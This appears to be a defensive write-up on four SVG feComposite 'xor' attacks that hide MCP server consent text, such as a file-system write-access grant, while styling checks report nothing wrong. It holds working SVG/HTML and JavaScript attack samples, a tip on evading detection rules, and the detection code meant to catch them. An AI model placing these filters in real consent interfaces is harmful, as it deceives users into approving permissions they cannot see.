MCP server SVG feComposite xor operator consent security
Four SA-CSS-CXO consent attack patterns using feComposite operator="xor" to exploit symmetric mutual knockout — when both inputs are opaque at glyph pixel positions, xor produces full transparency, rendering consent text invisible over a white background while CSSOM reports unchanged styling.
The SVG feComposite primitive’s operator="xor" mode implements the Porter-Duff exclusive-or compositing rule:
result_color = in_color × (1 − in2_alpha) + in2_color × (1 − in_alpha) result_alpha = in_alpha × (1 − in2_alpha) + in2_alpha × (1 − in_alpha)
The xor formula is symmetric: each input contributes only where the other input is not present. Where both inputs are opaque (alpha=1), both terms vanish: in×(1−1) = 0 and in2×(1−1) = 0. The result is full transparency. This “mutual knockout” property is the basis of all SA-CSS-CXO attacks: an opaque white flood combined with opaque consent text produces transparent holes shaped like the text glyphs.
Key distinction from SA-CSS-COU (operator=out): The out operator is asymmetric — only in2_alpha causes the knockout. The xor operator is symmetric — either input being opaque at a pixel where the other is also opaque causes the knockout. In practice, both produce glyph-shaped transparency holes when one input is a white flood fill and the other is consent text. The difference matters for detection: operator="xor" is less commonly used in legitimate styling than operator="over" or operator="in", making it a stronger signal for consent attack detection.
The xor formula: why mutual opacity produces transparency
/* Porter-Duff xor: result = in×(1-in2_A) + in2×(1-in_A) */
/* Setup:
in = feFlood white (flood-color="white" flood-opacity="1")
in_color = 1.0, in_alpha = 1.0 everywhere
in2 = SourceGraphic (consent text span)
At glyph pixel: in2_color = 0.067 (dark), in2_alpha = 1.0
At non-glyph pixel: in2_color = 0.0 (transparent), in2_alpha = 0.0 */
/* At glyph pixel (in_A=1, in2_A=1): */
result_color = white × (1 − 1.0) + dark × (1 − 1.0) = 0 + 0 = 0 /* transparent */
result_alpha = 1.0 × (1 − 1.0) + 1.0 × (1 − 1.0) = 0 + 0 = 0 /* transparent */
/* At non-glyph pixel (in_A=1, in2_A=0): */
result_color = white × (1 − 0.0) + 0 × (1 − 1.0) = white × 1 + 0 = white
result_alpha = 1.0 × (1 − 0.0) + 0 × (1 − 1.0) = 1.0 /* opaque white */
/* Filter output:
Glyph pixels → transparent (mutual knockout of two opaque inputs)
Non-glyph pixels → opaque white fill (only flood contributes)
Rendered over white consent dialog background:
- Transparent holes (glyph positions): white background shows through → white
- Opaque white fill (non-glyph): white on white → white
Every pixel = white. WCAG: 1.00:1. */
SA-CSS-CXO-001: feFlood white xor consent text — transparent glyph holes
The canonical SA-CSS-CXO attack: a white flood fill is composited via operator="xor" with the consent text span. The mutual opacity of the two inputs at glyph pixels produces transparency. Non-glyph pixels receive the opaque white flood. Over a white background, the entire area appears white: contrast 1.00:1.
<svg style="position:absolute;width:0;height:0" aria-hidden="true">
<defs>
<filter id="cxo001" color-interpolation-filters="sRGB">
<!-- Step 1: opaque white flood fill -->
<feFlood flood-color="white" flood-opacity="1" result="whiteFill"/>
<!-- Step 2: xor of white flood and consent text.
At glyph pixels (both opaque): white×(1-1) + text×(1-1) = 0 → transparent
At non-glyph pixels (text A=0, flood A=1): white×1 + 0 = white
Result: transparent holes where text was, white fill elsewhere. -->
<feComposite in="whiteFill" in2="SourceGraphic" operator="xor"/>
</filter>
</defs>
</svg>
<span style="filter:url(#cxo001)">
Grant this MCP server write access to your entire file system.
</span>
<!-- Over white background: glyph holes = white, non-glyph = white. WCAG 1.00:1.
CSSOM: color = dark, opacity = 1 — unchanged. -->
/* Detection: flag feComposite with operator=xor or operator=out */
function detectMutualKnockout(filterEl) {
for (const fc of filterEl.querySelectorAll('feComposite')) {
const op = (fc.getAttribute('operator') || 'over').toLowerCase();
if (op === 'xor' || op === 'out') {
const inAttr = fc.getAttribute('in') || '';
const hasFloodInput = !!filterEl.querySelector(`feFlood[result="${inAttr}"]`);
return {
risk: 'CRITICAL',
type: 'fecomposite-mutual-knockout',
operator: op, hasFloodInput
};
}
}
return null;
}
SA-CSS-CXO-002: semi-transparent flood xor — partial opacity mutual knockout
When the flood fill has flood-opacity less than 1.0, the xor formula produces a partial mutual knockout. At glyph pixels (in2_alpha=1, in_alpha=0.5):
/* flood-opacity=0.5, consent text A=1 at glyph pixels */ result_color = white_0.5 × (1 − 1.0) + dark × (1 − 0.5) = 0 + dark × 0.5 result_alpha = 0.5 × (1 − 1.0) + 1.0 × (1 − 0.5) = 0 + 0.5 = 0.5 /* Glyph pixels: dark text color at 50% opacity. Over white background (background compositing): result_R = dark_R × 0.5 + white × (1 − 0.5) = 0.067×0.5 + 1.0×0.5 ≈ 0.533 Linear luminance L = 0.533 (single channel, no color). WCAG contrast vs white (L=1.0): (1.05) / (0.533 + 0.05) ≈ 1.80:1 — FAIL. At non-glyph pixels (in2_A=0, in_A=0.5): result_color = white_0.5 × 1 + 0 = white at 0.5 opacity (light gray over white) WCAG contrast of light gray over white: ~1.20:1 */
The semi-transparent variant is particularly useful for evading rules that flag flood-opacity="1" combined with operator=xor. The evasion approach: flood-opacity="0.5" produces a WCAG 1.80:1 fail at glyph pixels while not using a fully-opaque flood fill. Detection requires computing the output luminance symbolically rather than flagging attribute values.
SA-CSS-CXO-003: xor self-knockout — SourceGraphic xor SourceGraphic
The most minimal form of the xor attack: a single feComposite primitive with in="SourceGraphic" and in2="SourceGraphic" (both inputs identical). The xor formula at any opaque pixel:
<filter id="cxo003">
<!-- Self-xor: SourceGraphic against itself.
At any opaque pixel (A=1): SG×(1-1) + SG×(1-1) = 0 → transparent.
At any transparent pixel (A=0): 0 + 0 = 0 → transparent.
Every pixel in the filter output is transparent.
The entire consent element becomes invisible. -->
<feComposite in="SourceGraphic" in2="SourceGraphic" operator="xor"/>
</filter>
/* This is the simplest possible SVG filter consent attack:
One primitive, no feFlood required, applicable to any element.
The consent container becomes fully transparent while still:
- Occupying its layout box (width/height unchanged)
- Intercepting pointer events (invisible click target)
- Reporting correct color and opacity in CSSOM
- Passing any text-based accessibility check
WCAG: 0.00:1 (no pixels rendered).
Detection:
if (fc.getAttribute('in') === 'SourceGraphic' &&
fc.getAttribute('in2') === 'SourceGraphic' &&
op === 'xor') → CRITICAL */
SA-CSS-CXO-004: JavaScript mousedown operator swap (over → xor)
Dynamic TOCTOU variant: filter starts at operator="over" (identity rendering) and transitions to operator="xor" on mousedown. The consent text appears normally during review; the mutual knockout fires at the moment of click confirmation.
<filter id="cxo004">
<feFlood flood-color="white" flood-opacity="1" result="whiteFill"/>
<!-- operator="over" is the identity: source over destination.
With whiteFill as in, in2=SourceGraphic:
"over": whiteFill over text = all white (would cover text, but let's
use in=SourceGraphic, in2=whiteFill instead for "over" as identity) -->
<!-- More precisely: in=SourceGraphic, in2=whiteFill, operator="over"
= text rendered over white fill = text (SourceGraphic drawn on top) -->
<feComposite id="cxo004-c" in="SourceGraphic" in2="whiteFill" operator="over"/>
</filter>
/* mousedown handler: flip in/in2 AND change operator */
document.getElementById('consentBtn').addEventListener('mousedown', () => {
const fc = document.getElementById('cxo004-c');
fc.setAttribute('in', 'whiteFill');
fc.setAttribute('in2', 'SourceGraphic');
fc.setAttribute('operator', 'xor');
/* Now: whiteFill xor SourceGraphic → transparent glyph holes */
});
/* MutationObserver — detect operator transitions to xor/out */
const mo = new MutationObserver(mutations => {
for (const m of mutations) {
if (m.attributeName === 'operator') {
const newOp = m.target.getAttribute('operator');
if (newOp === 'xor' || newOp === 'out') {
reportConsent({ type: 'SA-CSS-CXO-004', severity: 'CRITICAL',
transition: `${m.oldValue} → ${newOp}` });
}
}
}
});
mo.observe(filterEl, {
subtree: true, attributes: true, attributeOldValue: true,
attributeFilter: ['operator', 'in', 'in2']
});
Comparison: xor vs out vs atop knockouts
| Operator | Formula at glyph (A=1) | WCAG | Detectable by opacity check? |
|---|---|---|---|
out (SA-CSS-COU) |
in × (1−1) = 0 → transparent | 1.00:1 | No — A=0 at glyph; parent opacity unchanged |
xor (SA-CSS-CXO) |
in×(1−1) + in2×(1−1) = 0 → transparent | 1.00:1 | No — A=0 at glyph; parent opacity unchanged |
atop (SA-CSS-CAT) |
white×1 + text×0 = white → opaque white | 1.00:1 | No — A=1 at glyph; pixel = white |